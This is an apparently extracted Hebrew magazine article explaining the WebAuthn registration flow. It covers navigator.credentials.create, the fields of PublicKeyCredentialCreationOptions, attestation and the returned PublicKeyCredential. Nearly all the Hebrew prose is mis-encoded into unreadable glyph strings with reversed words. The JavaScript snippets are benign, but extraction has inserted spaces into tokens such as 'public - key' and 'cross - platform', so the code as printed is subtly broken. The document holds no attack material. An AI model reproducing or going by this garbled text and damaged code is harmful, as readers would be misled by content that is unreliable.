credentials ύ˫˧ˠ˴˧˧ˬˢ ˠˣˤ ˸ˣ˥˸˲ˬ ˧˦˶˲π˧˶ˣ˟˧˴ Τό˫˧ˮˣ˸ˮ ˢ˪˞ ˫˧˪˪ˣ˩ ˫˧˰˴ˬ˞ ˫˧ˢˤˬ ˶ˣ˟˰ ˷ˬ˸˷ˬˢ 

˸˶˷ˣ ˭ˣˠ˶˞ˢ ύsπϦRelying party ΦόϦ˶˥˞˪ ˭˩ˬ Σ˶˸˞ˢ ˷ˬ˸˷˧ ˟πWeb Authentication API ˪˧˟˷˟ ˷˵˟˪ 

˷ˬ˸˷ˬˢˬ ˶ˣ˴˧˪ ˡˬ˴ ˸ˣ˥˸˲ˬ ˷ˡ˥ Φ 

˵˷ˬˬ sπWeb Authentication API ˪˧˩ˬ н ˸ˣ˞˧˶˵ ˸ˣ˧˶˵˧˰ π navigator.credentials.create  xπ 

navigator.credentials.get ˶˷˞˩ create() ˷ˣˬ˧˷˟ ˨˧˪ˢ˸˟ ˢˬ˷˶ˢˢ xπget() ˷ˣˬ˧˷˟ ˨˧˪ˢ˸˟ ˸ˣˬ˧˞ˢ Φ

˫˧˧˵ ˫ˠ API ˢˣˣ˪ˮ ˸˪˟˵˪ ˸ˬ˧˷˶ ˫˧˸ˬ˞ˬˢ Φ 
 

ˢ˶˰ˢΥ ˪˧˟˷˟ ˰ˣˮˬ˪ ˸ˣ˲˵˸ˬ MITM Σ˸˲˧˷˥ ˧˦˶˲ ˷ˬ˸˷ˬ ˸ˣ˶˷˲˞ˣ ˸ˬ˪˯ˢ˪ ˸ˣ˞˷˶ˢ ˢ˟˶ˢ ˴˧˲ϥ˫˧˶ 

˪˷ Web APIs ˫˧ˮˣ˷ ύ˪˪ˣ˩ sπAPI ˢ˵˯˲ˢˬ ˸ˬˡˣ˵ˢ ό˫˧˶˷˲ˣ˞ˬ ˵˶ ˟πsecure contexts ύ˪˷ˬ˪ ˸˰˟ 

˶ˣ˟˧˥ HTTPS x˞ ˢ˴˶ˢ ˸˧˪˞˵ˣ˪ ˡ˟˪˟ ˪˷ ˸˶˷ˢ ˟πlocalhost Φόˢˤ ˞˷ˣˮ ˢˣˣ˷˷ ˫˧˥˸˲ˬ˪ ˟˧˥˶ˢ˪ ˣ˧˪˰ Τ

all in all ˦ˮ˶˦ˮ˧˞ˢ ˢ˧ˢ ˫ˣ˵ˬ ˟ˣ˦ ˫˞ ˣ˧ˢ ˫˧ˬ˷˧˧ˬ secure contexts ˢ˶ˣ˴˟ ˢ˲ˮ˰ ˶˸ˣ˧ Φ 

https://webauthn.guide/
https://w3c.github.io/webauthn/#sctn-registering-a-new-credential
https://www.w3.org/TR/webauthn/#createCredential
https://www.w3.org/TR/webauthn/#getAssertion
https://www.w3.org/TR/webauthn/#isUserVerifyingPlatformAuthenticatorAvailable
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˶ˬˣ˪˩ Σˢˡ˧ˬ˟ ˧ˮ˞ˣ ˷˪ˣˠ ˪˞ Outlook ΣPayPal ΣGoogle ΣGitHub ˪˩˟ ˡ˥˞ ˫ˢˬ ˶ˣ˟˰˞ ˨˧˪ˢ˸ ˢˬ˷˶ˢ 

˶˷˞ ˣ˸˶ˠ˯ˬ˟ ˸ˬ˞ˬˢ ύYubikey Σ˭ˣ˲˪˦ ˡ˧˞ˣ˶ˡˮ˞ ΣϦsˬ ˸˯˯ˣ˟ˬ Windows ˡ˩ˣ όϥ˶ˣ˴˧ ˠˣˤ ˸ˣ˥˸˲ˬ ˷ˡ˥ 

˨˶ˣ˴˪ ˸ˣˢˡˤˢˢ ˢ˸ˣ˞˟ ˢˬ˶ˣ˲˦˪˲ π ˣˬ˩ ˪˩˟˷ ˶˸˞ ˳˪ˬˣˬ ˢ˧ˢ˸˷ ˫˩˪ ˢˬ˯˧˯ ˢˮˣ˷ ύ˭˩ ˢˢ˞ όΦΦ˨˩ 

˸ˣ˰˴ˬ˞˟ FIDO2 ˣ˧ˢ˧ ˫˩˪ ˥˶˩ˢ˟ ˡˬ˴ ˸ˣ˥˸˲ˬ ˢˮˣ˷ Φ 

 

˨˧˞ ˢˤ ˢ˞˶ˮ ˪˰ˣ˲˟Κ 

 

˪ˣ˪˴ˮ ˪˞ sπFlow ˞˪ˬˢ ˪˷ ˨˧˪ˢ˸ˢ Σ˪˪ˣ˩ ˶˟˰ˬ ˪˰ ˡˣ˵ˢ ˠ˴˧˧ˬ˷ ˪˩ ˟˪˷ ˣ˩ˣ˸˟ Φ˨˶ˣ˞˪ ˪˩ ˥ˣ˸˧ˮˢ Σˢˣˣ˷ 

˶ˣˤ˥˪ ˢˬ˶ˠ˞˧ˡ˪ ˮˢϦ˪ ύ˫ˠˣ ˣˤ˪ ˱ˣ˯˟˷ ˵˶˲ˢ ό˭ˣˣ˧˩ˬ ˞˧ˢ˷ ˸˵˲˯ˬ ˢ˧˴˵˧ˡˮ˧˞ ˢ˟ˣ˦ ˡ˴˧˩ ˪˩ˢ ˷˥˶˸ˬ Φ

˟ˣ˷˥ ˶ˬˣ˪ ˶˟˩ ˣ˧˷˩˰ˬ ˧˩ ˢˤ ˶˵˧˰ sπflow ˪˷ ˨˧˪ˢ˸ˢ ˨˞ ˦˪˥ˢ˟ ˞˪ ˣ˪ˣ˩ ύ˶ˣˬ˞˩ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˢ˪˧˩ˬ 

нс ˫˧˟˪˷ ό˪˟˞ ϥ˭ˣ˶˵˧˰ sπ80/20 ϥ˫˧˞˸ˬ ˢ˲ ˦˪˥ˢ˟ Φ 

  

https://asana.com/resources/pareto-principle-80-20-rule
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˟˪˷ лΥ 

˸ˮ˩ˣ˸ sπClient ˸ˬˤˣ˧ ˢ˷˵˟ ˫ˣ˷˧˶˪ ˸ˬ˞ˬ ύauthenticator ό˫˰˦ˬ ˷ˬ˸˷ˬˢ Φ˶ˣˬ˞˩ Σ˷ˬ˸˷ˬ˪ ˡ˧˥˧ 

˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˶˲˯ˬ ˫˧˸ˬ˞ˬ ύsπbest practice ˢˤ ˶ˣˬ˷˪ ˪˩ ˸ˬ˞ˬ ˫˷˟ ˧ˣˮ˧˩ ˭ˣˣ˧˩ˬ ˢˤ˷ ˶˷˲˞ˬ 

˫˧˷ˬ˸˷ˬ˪ ˸ˣˢˤ˪ ˶ˣ˩ˤ˪ˣ ˣ˸ˣ˞ ˢ˶ˣ˴˟ ˢ˟ˣ˦ ˶˸ˣ˧Φό 

˟˪˷ мΥ 

˸˶˷ sπRelying Party ˶˴ˣ˧ instance ˪˷ PublicKeyCredentialCreationOptions ˶˧ˤ˥ˬˣ ˣ˸ˣ˞ ˸ˮ˩ˣ˸˪ sπ

client Φ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˶ˣ˷˵˸˪ ˫˰ ˸˶˷ˢ ˞˪ ˭˧ˣ˴ˬ ˦˶ˡˮ˦˯˟ ˞ˣˢˣ ˳ˣ˥ˬ ˫ˣ˥˸˪ ˪˷ Web Authentication 

API Φ˨˶ˡ˟ ˪˪˩ Σ˸˶ˣ˷˵˸ ˸˶˷ˢ ˢ˧ˢ˸ REST ˪˰ https ύˢ˞˶ˮ˩ ˸ˣ˰˴ˬ˞˟ XMLHttpRequest x˞ Fetch Σό

˪˟˞ ˫ˢ ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫ˠ ύ˥˪ˬ ˫˧ˬ ˥˪ˬ ˫˧ˬ όSOAP x˞ ˦˰ˬ˩ ˪˩ ˪ˣ˵ˣ˦ˣ˶˲ ˶˥˞ ˧˞ˮ˸˟ ˞ˣˢ˷ ˥˦˟ˣ˞ˬ 

˧ˣ˞˶˩Φ 

˦˵˧˧˟ˣ˞ blicKeyCredentialCreationOptionspu ˪˧˩ˬ ˶˲˯ˬ ˸ˣˡ˷ ˸ˣˡˣ˞ ˷ˬ˸˷ˬˢ ΣπsRP ˣˬ˴˰ ˠˣ˯ˣ sπ

credential ˷˵ˣ˟ˬˢ Φ˟ˣ˷˥ ˭˧˧˴˪ ˵˪˥˷ ˸ˣˡ˷ˢˬ ˫ˢ ˶ˡˠ˟ ˢ˟ˣ˥ ˵˪˥ˣ ˫˧˧˪˞ˮˣ˧˴˲ˣ˞ ˡ˟˪˟ Φ˪˩˸˯ˮ ˪˰ 

˦˵˧˧˟ˣ˞ ˢˬˠˣˡ˪Υ 

const publicKeyCredentialCreationOptions = {  
    challenge: Uint8Array. from (  
        randomStringFromServer, c => c. charCodeAt ( 0)),  
    rp: {  
        name: "DW Israel" ,  
        id: "digitalwhisper.co.il" ,  
    },  
    user: {  
        id: Uint8Array. from (  
            "UZSL85T9AFC", c => c. charCodeAt ( 0)),  
        name: "jon@digitalwhisper.guide" ,  
        displayName: "jon" ,  
    },  
    pubKeyCredParams: [  
 {  
  alg: - 7,  
  type: "public - key"  
       }  
    ],  
    authenticatorSelection: {  
        authenticatorAttachment: "cross - platform" ,  
 requireResidentKey: false ,  
        userVerification: "discouraged"  
    },  
    timeout: 60000,  
    attestation: "direct"  
};  

˶˧˟˯ˮ ˢ˶˴˵˟ ˸˞ ˫˧˵˪˥ˢ ˦˵˧˧˟ˣ˞˟Υ 

¶ challenge Υ˪˧˟˷˟ ˰ˣˮˬ˪ ˸ˣ˲˵˸ˬ ˢ˥˧˪˷ ˷ˡ˥ˬ ύreplay attack ό˸˶˷ˢ ˶˴˧˧ˬ buffer ˪˷ ˫˧˸˟ 

˫˧˧˞˶˵˞ ˢˮ˧˥˟ˬ ˸˧˲˶ˠˣ˦˲˧˶˵ Τ˫˸ˣ˞ ˞ˣˢ ˥˪ˣ˷ ˡ˴˪ ˥ˣ˵˪ Σ˥ˣ˵˪ˢ ˣ˶ˣ˸˟ ˟˧ˣ˥ˬ ˶˧ˤ˥ˢ˪ response 

˶˷˞ ˪˧˩ˬ ύˢ˶ˣ˴˟ ˸ˮ˲˴ˣˬ ό˵ˣ˧ˡ˟ ˸˞ ˣ˸ˣ˞ buffer Φ˪˰ ˧˲ˢ ˢ˧˴˦ˮˬˣ˵ˣˡˢ Σ˪˰ ˸ˮˬ ˰ˣˮˬ˪ ˸ˣ˲˵˸ˬ 

https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest
https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API
https://developer.mozilla.org/en-US/docs/Glossary/SOAP
https://w3c.github.io/webauthn/#sctn-cryptographic-challenges
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replay ˫˧˶ˠ˸˞ˢ ˫˧˟˧˧˥ ˪˧˩ˢ˪ ˵˧˲˯ˬ ˢ˧˲ˣ˶˦ˮ˞ ˧ˡ˩ ˨ˣ˲ˢ˪ ˸˞ ˫˷ˣ˥˧ˮ ˧˸˪˟˪ ˧˶˷˲˞ Φ˭˩˪ ˳˪ˬˣˬ 

˫˧˶ˠ˸˞ˢ˷ ˣ˧ˢ˧ ˨˶ˣ˞˟ ˪˷ ˸ˣ˥˲˪ мс ˫˧˸˟Φ 

¶ rp Υˠ˴˧˧ˬ ˸˞ sπrelying party π ˭ˣˠ˶˞ˢ ˧˞˶˥˞˷ ˪˰ ˫ˣ˷˧˶ ˸ˣˬ˧˞ˣ ˷ˬ˸˷ˬˢ Φˢˡ˷ sπid ˟˧˧˥ ˸ˣ˧ˢ˪ 

˸˸π˦˯ ˪˷ ˭˧˧ˬˣˡˢ ˰ˠ˶˩˷ ˭˲ˡ˲ˡ˟ Φ˪˷ˬ˪ Σˢˡ˧ˬ˟ ˣˮ˧˧ˢˣ ˫˧˴ˣ˶ ˸ˣˢˡˤˢ˪ ˪˞ ˸ˣ˶˧˷ ˪˷ Google 

˸ˣ˰˴ˬ˞˟ ˸ˣˬ˧˞ˢ ˧ˮ˷ˡ˥ˢ ˪˷ DW ύˢˡ˧ˬ˟ ˢ˧ˢˣ ˫˧˧˵ όˤ˞ rp.id ˢ˧ˢ ˣˢ˷ˬ ˭ˣˮˠ˯˟ ˪˷ 

digitalwhisper.guideΦ 

¶ user Υ˰ˡ˧ˬˢ ˪˷ ˷ˬ˸˷ˬˢ ˫˷˶ˮ˷ Φ˸ˬ˞ˬˢ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˢˡ˷˟ user.id ˪˰ ˸ˮˬ ˨˧˧˷˪ ˸˞ sπ

credentials ˪˞ ˷ˬ˸˷ˬˢ ˧˲˧˴˲˯ˢ Φ˳˪ˬˣˬ ˞˪ ˶ˣˬ˷˪ PII ύinformationpersonally identifying  ό

˶ˣ˸˟ user.id ˭ˣˣ˧˩ˬ ˸˶˷˷ ˸ˣˬ˧˞ˢ ˡ˧˸˰ ˶ˣˬ˷˪ ˫˸ˣ˞ ˫ˠ ˣˬ˴˰˟Φ 

¶ pubKeyCredParams Υˬ˰˶˨ ˪˷ ˫˧˦˵˧˧˟ˣ˞ ˶˞˸ˬˢ ˣ˪˧˞ ˧ˠˣ˯ ˸ˣ˥˸˲ˬ ˫˧˧˶ˣ˟˧˴ ˣ˪˧˞ˣ ˧ˬ˸˧˶ˣˠ˪˞ 

ˢˬ˧˸˥ ˸˶˷ˢ ˪˷ sπRelying party ˭˩ˣˬ ˪˟˵˪ Φ˨˶˰ˬˢ ˶ˡˣ˯ˬ ˠˣ˯ˢ ˧˩ˢ˷ ˱ˡ˰ˣˬ ˪˞ ˠˣ˯ˢ ˧˩ˢ˷ 

˸ˣ˥˲ ˱ˡˣ˰ˬ Φˢˡ˷ alg ˞ˣˢ integer ˶˞˸ˬ˷ ˸˞ ˠˣ˯ ˫˸˧˶ˣˠ˪˞ˢ ˸ˮ˧˥˟ˬ COSE Φ˪˷ˬ˪ ˢ˶˵ˬ˟ ˣˮ˪˷ Σ

7-alg:  ˠ˴˧˧ˬ ˸˶˷ˢ˷ ˪˟˵ˬ ˫˸˧˶ˣˠ˪˞ ˪˷ Elliptic Curve public keys ˢ˷ˣ˰ˢ ˷ˣˬ˧˷ ˟π256-SHA 

˨˶ˣ˴˪ ˢˬ˧˸˥ˢ Φˡ˴ ˥ˣ˵˪ˢ ˡ˴ˣ ˸˶˷ˢ ˫˧˟˧˧˥ ˫˧˩˯ˢ˪ ˪˰ ˠˣ˯ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˪˧˟˷˟ ˨˧˪ˢ˸˷ 

ˢˬ˷˶ˢˢ ˞˴˧ ˪˰ˣ˲˪ ύˢˡ˧ˬ˟ ˞˪ˣ Σ˸˪ˣ˰˲ sπcreate() ˸˪˷˩ˮ Φό 

¶ authenticatorSelection Υˢˡ˷ ˧˪˞ˮˣ˧˴˲ˣ˞ ˶ˤˣ˰˷ ˪πrelying parties ˯˯˟˪ ˸ˣ˪˟ˠˢ ˸ˣ˲˯ˣˮ ˪˰ ˠˣ˯ 

˫˧˸ˬ˞ˬˢ ˶˷˞ ˫˧˶˸ˣˬ ˫ˣ˷˧˶˪ Φˢˬˠˣˡ˟ Σ˸ˣ˰˴ˬ˞˟ ˢˡ˷ authenticatorAttachment ˣˮ˥ˮ˞ ˫˧ˮ˧˧˴ˬ 

ˣˮ˧˧ˢ˷ ˫˧˴ˣ˶ ˰˴˟˪ ˫ˣ˷˧˶ ˸ˬ˞ˬ˪ ˢ˴ˣ˥ ˸ˣˬ˶ˣ˲˦˪˲ ύˣˬ˩ Yubikey ό˫ˣ˵ˬ˟ ˸ˬ˞ˬ ˢˬ˶ˣ˲˦˪˲ ύˣˬ˩ 

Windows Hello x˞ Touch ID Φόˢˡ˷ requireResidentKey ˢ˶ˣˬ ˫˞ˢ ˶ˣ˴˧˪ discoverable ά

έcredential x˞ ˞˪ ύ˶˧˸ˬ ˸˞ ˷ˣˬ˧˷ˢ ˟πcredential IDs ˡ˴ˬ sπRP ˨˩˟ˣ ˸˰˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢ ˞˪ ˢ˧ˢ˧ 

˨˶ˣ˴ ˸ˣˢˤ˪ ˸˞ ˷ˬ˸˷ˬˢ ˫ˡˣ˵ ˭˩˪ Φόˢˡ˷ userVerification ˢ˥ˮˬ ˸˞ ˸ˬ˞ˬˢ ˰˴˟˪ ˸ˣˬ˧˞ ˧ˬˣ˵ˬ 

˷ˬ˸˷ˬ˪ ύ˧ˡ˩ ˞ˡˣˣ˪ ˢˤ˷ ˭˩˞ ˞ˣˢ ˞˪ˣ ˷ˬ˸˷ˬ ˧˞˶˵˞ ό˸˸ˣ˞˪ˣ ˪πRP ˸˞ ˸˞˴ˣ˸ ˸ˣˬ˧˞ˢ Φ˫ˮ˷˧ 

˸ˣ˧ˣ˶˷˲˞ ˢˡ˷˪ π discouraged, preferred, required ˶˷˞˩ ˪˩ ˡ˥˞ ˪˧˩ˬ ˢˬ˶ ˢˮˣ˷ ˪˷ ˸ˣ˪˟ˠˬ Φ

˳˪ˬˣˬ ˞ˣ˶˵˪ ˸˞ ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˪˷ Yubico ˢ˵ˬ˰ˢ˪ ˞˷ˣˮ˟Φ 

¶ timeout Υ˭ˬˤˢ ύ˧˪˧ˬ˟ ˸ˣ˧ˮ˷ ό˷˧˷ ˷ˬ˸˷ˬ˪ ˸ˣˮ˰˪ ˸˷˵˟˪ ˢˬ˷˶ˢˢ ˧ˮ˲˪ ˸˶ˤ˥ˣˬ˷ ˸˰ˡˣˢ ˢ˞˧ˠ˷Φ 

¶ attestation Υ˰ˡ˧ˬ ˫ˣ˷˧˶ˢ ˪˷ sπattestation ˶ˤˣ˥˷ ˸ˬ˞ˬˢˬ ˪˧˩ˬ ˢ˧˴ˬ˶ˣ˲ˮ˧˞ ˢ˪ˣ˪˰˷ ˸ˣ˧ˢ˪ 

˷ˣˬ˧˷˟ ˪˧˟˷˟ ˟ˣ˵˰˪ ˧˶˥˞ ˫˧˷ˬ˸˷ˬˢ x˞ ˶˷˵˪ ˭˧˟ ˸ˣ˧ˣˢˤ ˸ˣˮˣˣ˵ˬ ˸ˣˮˣ˷ ˪˷ ˣ˸ˣ˞ ˷ˬ˸˷ˬ Φˢˡ˷ 

ˢˤ ˶˷˲˞ˬ ˫˧˸˶˷˪ ˭˧˧˴˪ ˡ˰ ˢˬ˩ ˧ˮˣ˸ˮ ˶ˣ˷˧˞ˢ ˫˧˟ˣ˷˥ ˨˧˪ˢ˸˪ ˫ˣ˷˧˶ˢ Φ˨˶˰ Ϧnoneύ Ϧ˨˶˰ˢ 

˧˟˧˦˪ˣ˲˧ˡˢ ό˭˧˧˴ˬ ˸˶˷˪˷ ˦ˣ˷˲ ˞˪ ˸˲˩˞ ˶ˣ˷˧˞ˬ Σ˨˶˰ ˪˷ Ϧindirect Ϧˣ˷ˣ˶˧˲ ˸˶˷ˢ˷ ˶˷˲˞˧ ˧ˮˣ˸ˮ 

˶ˣ˷˧˞ ˫˧˧ˬ˧ˮˣˮ˞ ˨˶˰ˣ Ϧdirectύ Ϧˣˬ˩ ˢˬˠˣˡ˟ ˣˮ˪˷ ό˭˧˧˴ˬ ˧˩ ˸˶˷ˢ ˢ˴ˣ˶ ˪˟˵˪ ˸˞ ˧ˮˣ˸ˮ ˶ˣ˷˧˞ˢ 

˸ˬ˞ˬˢˬΦ 

 

  

https://www.iana.org/assignments/cose/cose.xhtml#algorithms
https://w3c.github.io/webauthn/#client-side-discoverable-credential
https://w3c.github.io/webauthn/#client-side-discoverable-credential
https://developers.yubico.com/WebAuthn/WebAuthn_Developer_Guide/User_Presence_vs_User_Verification.html
https://developers.yubico.com/WebAuthn/WebAuthn_Developer_Guide/User_Presence_vs_User_Verification.html
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˟˪˷ нΥ 

πsclient JavaScript ˥˵ˣ˪ ˸˞ publicKeyCredentialCreationOptions ˪˧˥˸ˬˣ ˸˞ ˨˧˪ˢ˸ˢ ˪˷ ˸˶˧˴˧ 

credentials ˪˰ ˧ˡ˧ ˢ˞˧˶˵ ˸ˡˣ˦ˬ˪ όύnavigator.credentials.create ˡ˴˟ ˥ˣ˵˪Υ 

const credential = await navigator .credentials. create ({  

    publicKey: publicKeyCredentialCreationOptions  
});  

˟ˣ˷˥ ˭˧˟ˢ˪ ˸˞˷ ˪˩ ˫˧˦˵˧˧˟ˣ˞ˢ ˟πpublicKeyCredentialCreationOptions  ˶˴˧ ˶˟˩ ˸˶˷ sπRP ˞ˣˢˣ ˢ˲˴ˬ 

˭˲ˡ˲ˡ˷ ύ˸ˮ˩ˣ˸ sπClient ό˳˧˶˸ ˫˸ˣ˞ ˫˰ ˫ˣ˪˩ξ˦˰ˬ ˫˧˧ˣˮ˧˷ ˶˧ˤ˥˸ˣ Promise ˣ˶ˣ˸˟˷ ˨ˣ˲ˢ˧ ˪˞  

PublicKeyCredential˶˷˞ ˪˧˩ˬ ˸˞ AuthenticatorAttestationResponseΦ 

 
˫˷˪ ˢˮ˟ˢ ˡ˟˪˟ Σˣˡˣ˞˯˲ ˡˣ˵ ˪˷ ˸˧˧˴˵ˮˣ˲ create() ˢ˞˶˧ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

navigator .credentials. create ({  
  publicKey: publicKeyCredentialCreationOptions}). then (( res ) => {  
  var json = publicKeyCredentialToJSON (res);  
 
  // Send data to relying party's servers  
  post ( '/digitalwhisper/register' , {  
    state: '<%= state %>' ,  
    provider: '<%= provider %>' ,  
    res: JSON. stringify (json)  
  });  
}). catch (console.error);  

 

ˢ˶˰ˢΥ  navigator.credentials.create()˶ˣ˴˧˧ credential ˷ˡ˥ ˪˩˟ ˫˰˲ ˫˧˞˶ˣ˵˷ x˪ Σ˫ˠ ˢˡ˧ˬ˟ ˥˪˷ˮˣ 

˭ˣ˧˪˧ˬ ˫˧ˬ˰˲ ˸˞ ˣ˸ˣ˞ ˦˵˧˧˟ˣ˞ ˫˰ ˫˧˶˦ˬ˶˲ ˫˧ˢˤΦ 

 

˟˪˷ о: 

˶ˣˬ˞˩ Σπscredentials ύˡˬ˴ ˸ˣ˥˸˲ˬˢ ό˫˧˶˴ˣˮ ˵˶ ˪˰ ˧ˡ˧ ˸ˬ˞ˬˢ Φ˞ˣˢ ˢˤ ˣ˲ˣ˯˟˷ ˪˷ ˶˟ˡ ˶˴ˣ˧ Σ˵˧ˤ˥ˬ 

˫˸ˣ˥ˣ ˪˰ ˰ˡ˧ˬˢ ˫ˠ ˨˧˪ˢ˸˟ ˫ˣ˷˧˶ˢ ˫ˠˣ ˨˧˪ˢ˸˟ ˸ˣˬ˧˞ˢ Φ 

˭˲ˡ˲ˡˢ ˸ˬ˞ˬ ˸˞ ˸ˡˣ˰˸ TLS X.509 ˪˷ ˸˶˷ˢ ˢ˩˶ˡˣ ˸ˬ˞ˬ ˸˞ rp.id ˪ˣˬ sπorigin ˪˷ ˭˧˧ˬˣˡˢ Σˣˢˤ 

ˡ˥˞ ˫˧˟˪˷ˢ ˫˧˟ˣ˷˥ˢ ˶˸ˣ˧˟ ˨˧˪ˢ˸˟ ˭ˣˣ˧˩ˬ ˣ˧˲˪˷ ˸ˬˣ˞˧ ˸˶˷ˢ ˶˥ˣ˞ˬ ˶˸ˣ˧ Φ 

˫˧˶˦ˬ˶˲ˢ ˪˷ ˸˞˧˶˵ create() ˫˧˥˪˷ˮ ˸ˬ˞ˬ˪ ˡˣˬ˴˟ ˪π256 hash-SHA ˪˷ ˢˡ˷ sπclinetDataJSON 

ύ˱˩˸ ˢ˞˶ˮ ˡ˴˧˩ ˞ˣˢ ˧ˣˮ˟ Φόˢ˟˧˯ˢ ˥˪˷ˮ˷ ˵˶ ˟ˣ˟˧ˠˢ ˪˷ ˭˩ˣ˸ ˰ˡ˧ˬˢ ˞˪ˣ ˪˩ ˭˩ˣ˸ˢ ˣˬ˴˰ ˢˤ ˭ˣˣ˧˩ˬ 

˫˧˥˵ˣ˪˷ ˭ˣ˟˷˥˟ ˥ˣˣ˦ˢ˷ ˭˧˟ ˭˲ˡ˲ˡˢ ˸ˬ˞ˬ˪ ˯˯ˣ˟ˬ ˪˰ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˫˰ Bandwidth ˨ˣˬˮ ˣˬ˩ Bluetooth, 

NFC ˪˩˟ˣ ˢ˶˵ˬ ˪˩ ˢˬ ˸ˬ˞ˬˢ˷ ˢ˷ˣ˰ ˢˤ ˵˶ ˫ˣ˸˥˪ ˪˰ sπhash ˪˧˟˷˟ ˞ˡˣˣ˪ ˫˧ˬ˶ˣˠ˷ ˫˧˧ˮˣ˴˧˥ ˞˪ ˣˮ˷˧ 

ˣ˸ˣ˞Φ 

˧ˮ˲˪ ˫˧ˡˡ˴ˢ˷ ˫˧˩˧˷ˬˬ Σ˸ˬ˞ˬˢ ˷˵˟˧ ˢ˶ˣ˴ ˧ˢ˷˪˩ ˪˷ ˢˬ˩˯ˢ ˡ˴ˬ ˷ˬ˸˷ˬˢ ύ˸ˮˤˢ PIN ΣOTP Σ˸˰˧˟˦ 

˰˟˴˞ ˣ˩ˣ όϥ˪˧˟˷˟ ˞ˡˣˣ˪ ˷ˬ˸˷ˬˢ˷ ˥˩ˣˮ Φ˶ˬ˞ˬ˟ ˭ˣ˷˞˶ˢ ˣˮ˯˥˧˧˸ˢ ˢˬ˩˯ˢ˪ ˣˤˢ ˸˥˸ ˫˷ˢ Gesture Φ

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise
https://www.digitalwhisper.co.il/files/Zines/0x7A/DW122-2-X.509.pdf
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˶˥˞˪ ˞ˣˡ˧ˣˣˢ Σ˸ˬ˞ˬˢ ˶ˣ˴˧˧ ˡˬ˴ ˸ˣ˥˸˲ˬ ˫˧˧˶˦ˬ˧˯˞ xπattestation Φ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ ˞ˣˢ ˭˯˥˞˧ 

ˢ˶ˣ˴˟ ˸˥˦˟ˣ˞ˬ ˣ˪˴˞ ˸˞ˣ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˞ˣˢ ˰˧ˬ˦˧ ˵˪˥˩ ˢˬπattestation ˶˷˞ ˢ˧˪˰ ˞ˣˢ ˫ˣ˸˥˧ ˫˰ 

˥˸˲ˬˢ ˧˦˶˲ˢ ˣ˪˷ Φˣˬ˩ ˭˩ Σ˭˩˸˧˧ ˟˴ˬ ˣ˟˷ ˶ˤ˥ˣ˸ ˫ˠ attestation certificate chain ˪˷ ˭˶˴˧ˢ ˣˬ˴˰ ˪˰ 

˸ˮˬ ˢ˷πRP ˪˩ˣ˧ ˸ˬ˞˪ ˸˞ ˶˧˷˩ˬˢ ˡ˰ ˸ˬ˶˪ sπroot of trust Φ 

 

˟˪˷ п: 

˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˷ˡ˥ˢ Σπscredential ID ύ˧ˡˣ˥˧˧ ˫˪ˣ˰˟ ό˰ˡ˧ˬˣ ˱˯ˣˮ ˣ˶ˤ˥˧ ˭˲ˡ˲ˡ˪ ˞ˣˢˣ ˨ˣ˲ˢ˧ ˫˸ˣ˞ ˪˞ 

attestationObjectΦ 

 

˟˪˷ р: 

πspromise ύ˨ˣ˧˷ ˢ˪ˣ˰˲ˢ ˞ˢπ˸˧ˮˣ˩ˮ˧˯ ˡ˴˟ ˥ˣ˵˪ ό˪˷ navigator.credentials.create() ˪˟˵˸˧ ˦˵˧˧˟ˣ˞˩ 

PublicKeyCredential ˶˷˞ ˶ˣˤ˥˧ ˪˞ sπRP ˸ˣ˰˴ˬ˞˟ ˪˩ ˦ˬ˶ˣ˲ ˪ˣ˵ˣ˦ˣ˶˲ˣ ˫˧˧ˣ˴˶ ˫ˣ˧˯˪ ˨˧˪ˢ˸ ˢˬ˷˶ˢˢ Φ 

˦˵˧˧˟ˣ˞ credential ˶ˤˣ˥˷ ˪˧˩ˬ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ ˫˧ˮ˧˧˲˞ˬˣ ˫˧˲˯ˣˮ ˶˷˞ ˫˧˷ˬ˷ˬ ˸ˣˬ˧˞˪ ˧˩ ˨˧˪ˢ˸ 

˫ˣ˷˧˶ˢ ˭˩˞ ˷˥˶˸ˢ Φ˪˩ˣˮ ˯˧˲ˡˢ˪ ˸˞ ˦˵˧˧˟ˣ˞ˢ ˥˸ˮ˪ˣ ˸˞ ˭˩ˣ˸ˢ ˣ˪˷Υ 

const credential = await navigator .credentials. create ({  
    publicKey: publicKeyCredentialCreationOptions  
});  
 
console . log (credential);  
 
PublicKeyCredential {  
    id: 'ADSUllKQmbqdGtpu4sjseh4cg2TxSvrbcHDTBsv4NSSX9...' ,  
    rawId: ArrayBuffer ( 59),  
    response: AuthenticatorAttestationResponse {  
        clientDataJSON: ArrayBuffer ( 121),  
        attestationObject: ArrayBuffer ( 306),  
    },  
    clientExtensionResults: {},  
    type: 'public - key'  
}  

id Υˢˢˤˬˢ ύsπID ό˪˷ sπcredential ˷ˡ˥ˢ ˶˴ˣˮ˷ Φ˞ˣ˟˟ ˸˰ˢ ˞ˣˢ ˷ˬ˷˧ ˧ˣˢ˧ˤ˪ ˶ˣ˷˧˞ˢ ˪˷ ˷ˬ˸˷ˬˢ 

˸˰˟ ˨˧˪ˢ˸ ˸ˣˬ˧˞ˢΦ 

rawid ΥπsID ˟ˣ˷ ˪˟˞ ˫˰˲ˢ ˢ˶ˣ˴˸˟ ˸˧˶˞ˮ˧˟ Φ 

clientExtensionResults Υ˶˲˯ˬ ύл x˞ ˶˸ˣ˧ όˠ˴˧˧ˬ˷ ˸˞ ˯ˬ ϥ˸ˣ˟˥˶ˢˢ ˪˷ WebAuthn ˫˧ˬ˧˧˵˷ ˫ˣ˷˧˶˟Φ 

